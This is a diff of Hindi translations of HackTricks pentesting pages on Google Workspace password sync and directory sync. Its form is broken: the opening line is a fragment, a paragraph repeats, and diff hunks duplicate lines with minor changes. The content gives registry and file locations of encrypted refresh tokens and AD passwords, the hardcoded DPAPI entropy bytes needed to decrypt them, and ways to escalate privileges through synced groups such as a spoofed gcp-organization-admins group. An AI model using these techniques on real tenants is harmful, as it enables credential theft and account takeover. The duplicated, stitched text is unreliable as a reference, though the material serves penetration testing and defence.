फिर छिपे हुए को `Chrome-GCPW-<sid>`ी तरह खोजें जैसे कि चित्र में:
<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
फिर, एक **एक्सेस टोकन** के साथ जो स्कोप `https://www.google.com/accounts/OAuthLogin` है, यह पासवर्ड को डिक्रिप्ट करने के लिए निजी कुंजी का अनुरोध करना संभव है:
फिर, एक **एक्सेस टोकन** के साथ जिसका दायरा `https://www.google.com/accounts/OAuthLogin` है, पासवर्ड को डिक्रिप्ट करने के लिए निजी कुंजी का अनुरोध करना संभव है:
<details>

View File

@@ -13,36 +13,36 @@
इस बाइनरी (और सेवा) को कॉन्फ़िगर करने के लिए, इसे **Workspace में एक सुपर एडमिन प्रिंसिपल तक पहुंच देना आवश्यक है**:
- Google के साथ **OAuth** के माध्यम से लॉगिन करें और फिर यह **रजिस्ट्री में एक टोकन (एन्क्रिप्टेड) स्टोर करेगा**
- केवल GUI के साथ डोमेन कंट्रोलर्स में उपलब्ध
- GUI के साथ डोमेन कंट्रोलर्स में ही उपलब्ध
- **Workspace उपयोगकर्ताओं** को प्रबंधित करने के लिए **GCP** से कुछ **Service Account क्रेडेंशियल्स** (json फ़ाइल) देना
- यह बहुत बुरा विचार है क्योंकि ये क्रेडेंशियल्स कभी समाप्त नहीं होते और इसका दुरुपयोग किया जा सकता है
- Workspace पर SA को एक्सेस देना बहुत बुरा विचार है क्योंकि SA GCP में समझौता किया जा सकता है और Workspace पर पिवट करना संभव होगा
- Google इसे GUI के बिना डोमेन नियंत्रित करने के लिए आवश्यक करता है
- ये क्रेडेंशियल्स भी रजिस्ट्री में स्टोर होते हैं
AD के संबंध में, इसे वर्तमान **एप्लिकेशन संदर्भ, गुमनाम या कुछ विशिष्ट क्रेडेंशियल्स** का उपयोग करने के लिए इंगित करना संभव है। यदि क्रेडेंशियल्स विकल्प चुना गया है, तो **उपयोगकर्ता नाम** एक फ़ाइल में **डिस्क** के अंदर स्टोर किया जाता है और **पासवर्ड** **एन्क्रिप्टेड** होता है और **रजिस्ट्री** में स्टोर किया जाता है।
AD के संबंध में, इसे वर्तमान **एप्लिकेशन संदर्भ, गुमनाम या कुछ विशिष्ट क्रेडेंशियल्स** का उपयोग करने के लिए इंगित करना संभव है। यदि क्रेडेंशियल्स विकल्प चुना गया है, तो **उपयोगकर्ता नाम** एक फ़ाइल में **डिस्क** के अंदर स्टोर किया जाता है और **पासवर्ड** **एन्क्रिप्टेड** होता है और **रजिस्ट्री** में स्टोर होता है।
### GPS - Dumping password and token from disk
> [!TIP]
> ध्यान दें कि [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) **GPS** का पता लगाने, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करने और **यहां तक कि पासवर्ड और टोकन को डिक्रिप्ट करने** में सक्षम है।
फ़ाइल **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** में AD के कॉन्फ़िगर किए गए **`baseDN`** और जिनके क्रेडेंशियल्स का उपयोग किया जा रहा है, **`username`** का एक भाग पाया जा सकता है।
फ़ाइल **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** में AD के कॉन्फ़िगर किए गए **`baseDN`** और जिनके क्रेडेंशियल्स का उपयोग किया जा रहा है उनके **`username`** जैसी कॉन्फ़िगरेशन का एक भाग पाया जा सकता है।
रजिस्ट्री **`HKLM\Software\Google\Google Apps Password Sync`** में **एन्क्रिप्टेड रिफ्रेश टोकन** और AD उपयोगकर्ता के लिए **एन्क्रिप्टेड पासवर्ड** (यदि कोई हो) पाया जा सकता है। इसके अलावा, यदि टोकन के बजाय कुछ **SA क्रेडेंशियल्स** का उपयोग किया जाता है, तो उन एन्क्रिप्टेड को भी उस रजिस्ट्री पते पर पाया जा सकता है। इस रजिस्ट्री के अंदर **मान** केवल **प्रशासकों** द्वारा **एक्सेस** किए जा सकते हैं।
रजिस्ट्री **`HKLM\Software\Google\Google Apps Password Sync`** में **एन्क्रिप्टेड रिफ्रेश टोकन** और AD उपयोगकर्ता के लिए **एन्क्रिप्टेड पासवर्ड** (यदि कोई हो) पाया जा सकता है। इसके अलावा, यदि टोकन के बजाय कुछ **SA क्रेडेंशियल्स** का उपयोग किया जाता है, तो उन एन्क्रिप्टेड को भी उस रजिस्ट्री पते पर पाया जा सकता है। इस रजिस्ट्री के अंदर **मान** केवल **प्रशासकों** द्वारा **पहुँच योग्य** होते हैं।
एन्क्रिप्टेड **पासवर्ड** (यदि कोई हो) कुंजी **`ADPassword`** के अंदर है और इसे **`CryptProtectData`** API का उपयोग करके एन्क्रिप्ट किया गया है। इसे डिक्रिप्ट करने के लिए, आपको उसी उपयोगकर्ता होना चाहिए जिसने पासवर्ड सिंक को कॉन्फ़िगर किया था और **`CryptUnprotectData`** का उपयोग करते समय इस **entropy** का उपयोग करना चाहिए: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
एन्क्रिप्टेड टोकन (यदि कोई हो) कुंजी **`AuthToken`** के अंदर है और इसे **`CryptProtectData`** API का उपयोग करके एन्क्रिप्ट किया गया है। इसे डिक्रिप्ट करने के लिए, आपको उसी उपयोगकर्ता होना चाहिए जिसने पासवर्ड सिंक को कॉन्फ़िगर किया था और **`CryptUnprotectData`** का उपयोग करते समय इस **entropy** का उपयोग करना चाहिए: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
इसके अलावा, इसे **`0123456789abcdefghijklmnopqrstv`** शब्दकोश के साथ base32hex में भी एन्कोड किया गया है।
एंट्रॉपी मानों को टूल का उपयोग करके पाया गया। इसे **`CryptUnprotectData`** और **`CryptProtectData`** के लिए कॉल की निगरानी करने के लिए कॉन्फ़िगर किया गया था और फिर टूल का उपयोग `PasswordSync.exe` को लॉन्च और मॉनिटर करने के लिए किया गया जो कॉन्फ़िगर किए गए पासवर्ड और ऑथ टोकन को शुरू में डिक्रिप्ट करेगा और टूल **दोनों मामलों में उपयोग की गई एंट्रॉपी के लिए मान** दिखाएगा:
एंट्रॉपी मानों को टूल का उपयोग करके पाया गया। इसे **`CryptUnprotectData`** और **`CryptProtectData`** के लिए कॉल की निगरानी करने के लिए कॉन्फ़िगर किया गया था और फिर टूल का उपयोग `PasswordSync.exe` को लॉन्च और मॉनिटर करने के लिए किया गया था जो कॉन्फ़िगर किए गए पासवर्ड और ऑथ टोकन को शुरू में डिक्रिप्ट करेगा और टूल **दोनों मामलों में उपयोग की गई एंट्रॉपी के लिए मान** दिखाएगा:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
ध्यान दें कि इन APIs के लिए कॉल के इनपुट या आउटपुट में **डिक्रिप्टेड** मानों को भी देखना संभव है (यदि किसी बिंदु पर Winpeas काम करना बंद कर दे)।
यदि पासवर्ड सिंक **SA क्रेडेंशियल्स** के साथ कॉन्फ़िगर किया गया था, तो यह रजिस्ट्री **`HKLM\Software\Google\Google Apps Password Sync`** के अंदर कुंजियों में भी स्टोर किया जाएगा।
यदि पासवर्ड सिंक **SA क्रेडेंशियल्स के साथ कॉन्फ़िगर किया गया था**, तो यह रजिस्ट्री **`HKLM\Software\Google\Google Apps Password Sync`** के अंदर कुंजियों में भी स्टोर किया जाएगा।
### GPS - Dumping tokens from memory
@@ -140,7 +140,7 @@ https://www.googleapis.com/oauth2/v4/token
### GPS - Scopes
> [!NOTE]
> ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, आप एक्सेस टोकन के लिए कोई भी स्कोप अनुरोध नहीं कर सकते क्योंकि आप केवल उन **स्कोप्स का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं**।
> ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, एक्सेस टोकन के लिए कोई भी स्कोप अनुरोध करना संभव नहीं है क्योंकि आप केवल **उन स्कोप्स का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं**।
>
> इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है।
@@ -179,6 +179,6 @@ https://www.googleapis.com/auth/admin.directory.user
जो वही है जो आपको मिलता है यदि आप कोई दायरा नहीं बताते हैं।
> [!CAUTION]
> इस दायरे के साथ आप **एक मौजूदा उपयोगकर्ता का पासवर्ड संशोधित कर सकते हैं ताकि विशेषाधिकार बढ़ सके**।
> इस दायरे के साथ आप **एक मौजूदा उपयोगकर्ता का पासवर्ड संशोधित कर सकते हैं ताकि विशेषाधिकार बढ़ सके**।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,12 +4,12 @@
## Basic Information
इस तरीके से उपयोगकर्ताओं को GCDS के साथ समन्वयित करने का मुख्य अंतर यह है कि GCDS कुछ बाइनरी के साथ मैन्युअल रूप से किया जाता है जिसे आपको डाउनलोड और चलाना होता है जबकि **Admin Directory Sync सर्वर रहित** है जिसे Google द्वारा प्रबंधित किया जाता है [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories) पर
इस तरीके से उपयोगकर्ताओं को GCDS के साथ समन्वयित करने का मुख्य अंतर यह है कि GCDS कुछ बाइनरी के साथ मैन्युअल रूप से किया जाता है जिन्हें आपको डाउनलोड और चलाना होता है जबकि **Admin Directory Sync सर्वर रहित** है जिसे Google द्वारा प्रबंधित किया जाता है [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories)।
इस लेखन के समय यह सेवा बीटा में है और यह 2 प्रकार के समन्वय का समर्थन करती है: **Active Directory** से और **Azure Entra ID** से:
- **Active Directory:** इसे सेट करने के लिए आपको **Google को आपके Active Directory वातावरण तक पहुंच प्रदान करनी होगी**। और चूंकि Google केवल GCP नेटवर्क (द्वारा **VPC कनेक्टर्स**) तक पहुंच रखता है, आपको एक कनेक्टर बनाना होगा और फिर उस कनेक्टर से अपने AD को उपलब्ध कराना होगा, या तो GCP नेटवर्क में VMs में रखकर या Cloud VPN या Cloud Interconnect का उपयोग करके। फिर, आपको **पढ़ने की पहुंच** वाले एक खाते के **क्रेडेंशियल्स** और **सर्टिफिकेट** प्रदान करने की आवश्यकता होगी ताकि **LDAPS** के माध्यम से संपर्क किया जा सके।
- **Azure Entra ID:** इसे कॉन्फ़िगर करने के लिए बस **Azure में एक उपयोगकर्ता के साथ लॉगिन करना आवश्यक है** जिसके पास Entra ID सब्सक्रिप्शन पर पढ़ने की पहुंच है, जो Google द्वारा प्रदर्शित एक पॉप-अप में होगा, और Google पढ़ने की पहुंच के साथ टोकन रखेगा।
- **Active Directory:** इसे सेट करने के लिए आपको **Google को अपने Active Directory वातावरण तक पहुंच प्रदान करनी होगी**। और चूंकि Google केवल GCP नेटवर्क (द्वारा **VPC कनेक्टर्स**) तक पहुंच रखता है, आपको एक कनेक्टर बनाना होगा और फिर उस कनेक्टर से अपने AD को उपलब्ध कराना होगा, या तो GCP नेटवर्क में VMs में या Cloud VPN या Cloud Interconnect का उपयोग करके। फिर, आपको **पढ़ने की पहुंच** वाले खाते के **क्रेडेंशियल्स** और **सर्टिफिकेट** प्रदान करने की आवश्यकता होगी ताकि **LDAPS** के माध्यम से संपर्क किया जा सके।
- **Azure Entra ID:** इसे कॉन्फ़िगर करने के लिए बस **Azure में एक उपयोगकर्ता के साथ लॉगिन करना आवश्यक है** जिसके पास Entra ID सब्सक्रिप्शन पर पढ़ने की पहुंच है, जो Google द्वारा प्रदर्शित एक पॉप-अप में होगा, और Google Entra ID पर पढ़ने की पहुंच के साथ टोकन रखेगा।
एक बार सही तरीके से कॉन्फ़िगर होने के बाद, दोनों विकल्प **Workspace में उपयोगकर्ताओं और समूहों को समन्वयित करने** की अनुमति देंगे, लेकिन यह Workspace से AD या EntraID में उपयोगकर्ताओं और समूहों को कॉन्फ़िगर करने की अनुमति नहीं देगा।
@@ -17,7 +17,7 @@
- नए उपयोगकर्ताओं को लॉगिन करने के लिए एक ईमेल भेजें
- स्वचालित रूप से उनके ईमेल पते को Workspace द्वारा उपयोग किए जाने वाले पते में बदलें। इसलिए यदि Workspace `@hacktricks.xyz` का उपयोग कर रहा है और EntraID उपयोगकर्ता `@carloshacktricks.onmicrosoft.com` का उपयोग करते हैं, तो `@hacktricks.xyz` उन उपयोगकर्ताओं के लिए उपयोग किया जाएगा जो खाते में बनाए गए हैं।
- उन **समूहों का चयन करें जिनमें उपयोगकर्ता** समन्वयित होंगे
- **उपयोगकर्ताओं को समन्वयित करने वाले समूहों** का चयन करें
- Workspace में समन्वयित और बनाने के लिए **समूहों** का चयन करें (या सभी समूहों को समन्वयित करने का संकेत दें)।
### From AD/EntraID -> Google Workspace (& GCP)
@@ -27,10 +27,10 @@
#### Attacking users
जब समन्वय होता है, तो यह **AD से सभी उपयोगकर्ताओं को या केवल एक विशिष्ट OU से उपयोगकर्ताओं को** या केवल **EntraID में विशिष्ट समूहों के सदस्यों को** समन्वयित कर सकता है। इसका मतलब है कि एक समन्वयित उपयोगकर्ता पर हमला करने के लिए (या एक नया उपयोगकर्ता बनाने के लिए जो समन्वयित हो जाता है) आपको पहले यह पता लगाना होगा कि कौन से उपयोगकर्ता समन्वयित हो रहे हैं।
जब समन्वय होता है, तो यह **AD से सभी उपयोगकर्ताओं को या केवल एक विशिष्ट OU से उपयोगकर्ताओं को** या केवल **EntraID में विशिष्ट समूहों के सदस्यों को** समन्वयित कर सकता है। इसका मतलब है कि एक समन्वयित उपयोगकर्ता पर हमला करने के लिए (या एक नया बनाने के लिए जो समन्वयित होता है) आपको पहले यह पता लगाना होगा कि कौन से उपयोगकर्ता समन्वयित हो रहे हैं।
- उपयोगकर्ता **AD या EntraID से पासवर्ड को फिर से उपयोग कर सकते हैं या नहीं**, लेकिन इसका मतलब है कि आपको **लॉगिन करने के लिए उपयोगकर्ताओं के पासवर्ड को समझौता करना होगा**
- यदि आपके पास उपयोगकर्ताओं के **ईमेल** तक पहुंच है, तो आप **एक मौजूदा उपयोगकर्ता का Workspace पासवर्ड बदल सकते हैं**, या **एक नया उपयोगकर्ता बना सकते हैं**, प्रतीक्षा करें जब तक कि यह समन्वयित न हो जाए और खाता सेट करें।
- यदि आपके पास उपयोगकर्ताओं के **ईमेल** तक पहुंच है, तो आप **एक मौजूदा उपयोगकर्ता का Workspace पासवर्ड बदल सकते हैं**, या **एक नया उपयोगकर्ता बना सकते हैं**, जब तक कि यह समन्वयित न हो जाए और खाता सेटअप करें।
एक बार जब आप Workspace के अंदर उपयोगकर्ता तक पहुंच प्राप्त कर लेते हैं, तो उसे कुछ **अनुमतियाँ डिफ़ॉल्ट रूप से दी जा सकती हैं**
@@ -39,19 +39,19 @@
आपको पहले यह पता लगाना होगा कि कौन से समूह समन्वयित हो रहे हैं। हालांकि यह संभावना है कि **सभी** समूह समन्वयित हो रहे हैं (जैसा कि Workspace इसकी अनुमति देता है)।
> [!NOTE]
> ध्यान दें कि भले ही समूह और सदस्यताएँ Workspace में आयात की गई हों, **जो उपयोगकर्ता उपयोगकर्ता समन्वय में समन्वयित नहीं हैं वे समूह समन्वय के दौरान नहीं बनाए जाएंगे** भले ही वे किसी भी समन्वयित समूह के सदस्य हों।
> ध्यान दें कि भले ही समूह और सदस्यताएँ Workspace में आयात की गई हों, **जो उपयोगकर्ता उपयोगकर्ता समन्वय में समन्वयित नहीं हैं, वे समूह समन्वय के दौरान नहीं बनाए जाएंगे** भले ही वे किसी भी समन्वयित समूह के सदस्य हों।
यदि आप जानते हैं कि Azure के कौन से समूह **Workspace या GCP में अनुमतियाँ असाइन कर रहे हैं**, तो आप बस एक समझौता किए गए उपयोगकर्ता (या नए बनाए गए) को उस समूह में जोड़ सकते हैं और उन अनुमतियों को प्राप्त कर सकते हैं।
यदि आप जानते हैं कि Azure के कौन से समूह **Workspace या GCP में अनुमतियाँ सौंपे जा रहे हैं**, तो आप बस एक समझौता किए गए उपयोगकर्ता (या नए बनाए गए) को उस समूह में जोड़ सकते हैं और उन अनुमतियों को प्राप्त कर सकते हैं।
Workspace में मौजूदा विशेषाधिकार प्राप्त समूहों का दुरुपयोग करने का एक और विकल्प है। उदाहरण के लिए, समूह `gcp-organization-admins@<workspace.email>` आमतौर पर GCP पर उच्च विशेषाधिकार रखता है।
यदि, उदाहरण के लिए, EntraID से Workspace में समन्वय **आयातित वस्तु के डोमेन को Workspace के ईमेल से बदलने के लिए कॉन्फ़िगर किया गया है**, तो एक हमलावर के लिए EntraID में समूह `gcp-organization-admins@<entraid.email>` बनाने, इस समूह में एक उपयोगकर्ता जोड़ने और सभी समूहों के समन्वय की प्रतीक्षा करना संभव होगा।\
**उपयोगकर्ता को समूह `gcp-organization-admins@<workspace.email>` में जोड़ा जाएगा, जिससे GCP में विशेषाधिकार बढ़ेंगे**
**उपयोगकर्ता समूह `gcp-organization-admins@<workspace.email>` में जोड़ा जाएगा, GCP में विशेषाधिकार बढ़ाते हुए**
### From Google Workspace -> AD/EntraID
ध्यान दें कि Workspace को उपयोगकर्ताओं और समूहों को समन्वयित करने के लिए AD या EntraID पर केवल पढ़ने की पहुंच वाले क्रेडेंशियल्स की आवश्यकता होती है। इसलिए, AD या EntraID में कोई परिवर्तन करने के लिए Google Workspace का दुरुपयोग करना संभव नहीं है। इसलिए **यह इस समय संभव नहीं है**
ध्यान दें कि Workspace को उपयोगकर्ताओं और समूहों को समन्वयित करने के लिए AD या EntraID पर पढ़ने की केवल पहुंच वाले क्रेडेंशियल्स की आवश्यकता होती है। इसलिए, AD या EntraID में कोई परिवर्तन करने के लिए Google Workspace का दुरुपयोग करना संभव नहीं है। इसलिए **यह इस समय संभव नहीं है**
मुझे यह भी नहीं पता कि Google AD क्रेडेंशियल्स या EntraID टोकन को कहाँ संग्रहीत करता है और आप **समन्वय को फिर से कॉन्फ़िगर करके उन्हें पुनर्प्राप्त नहीं कर सकते** (वे वेब फॉर्म में नहीं दिखाई देते, आपको उन्हें फिर से देना होगा)। हालाँकि, वेब से वर्तमान कार्यक्षमता का दुरुपयोग करके **उपयोगकर्ताओं और समूहों की सूची** बनाना संभव हो सकता है
मुझे यह भी नहीं पता कि Google AD क्रेडेंशियल्स या EntraID टोकन को कहाँ संग्रहीत करता है और आप **समन्वय को फिर से कॉन्फ़िगर करके उन्हें पुनर्प्राप्त नहीं कर सकते** (वे वेब फॉर्म में नहीं दिखाई देते, आपको उन्हें फिर से देना होगा)। हालाँकि, वेब से यह संभव हो सकता है कि मौजूदा कार्यक्षमता का दुरुपयोग करके **उपयोगकर्ताओं और समूहों की सूची बनाई जाए**
{{#include ../../../banners/hacktricks-training.md}}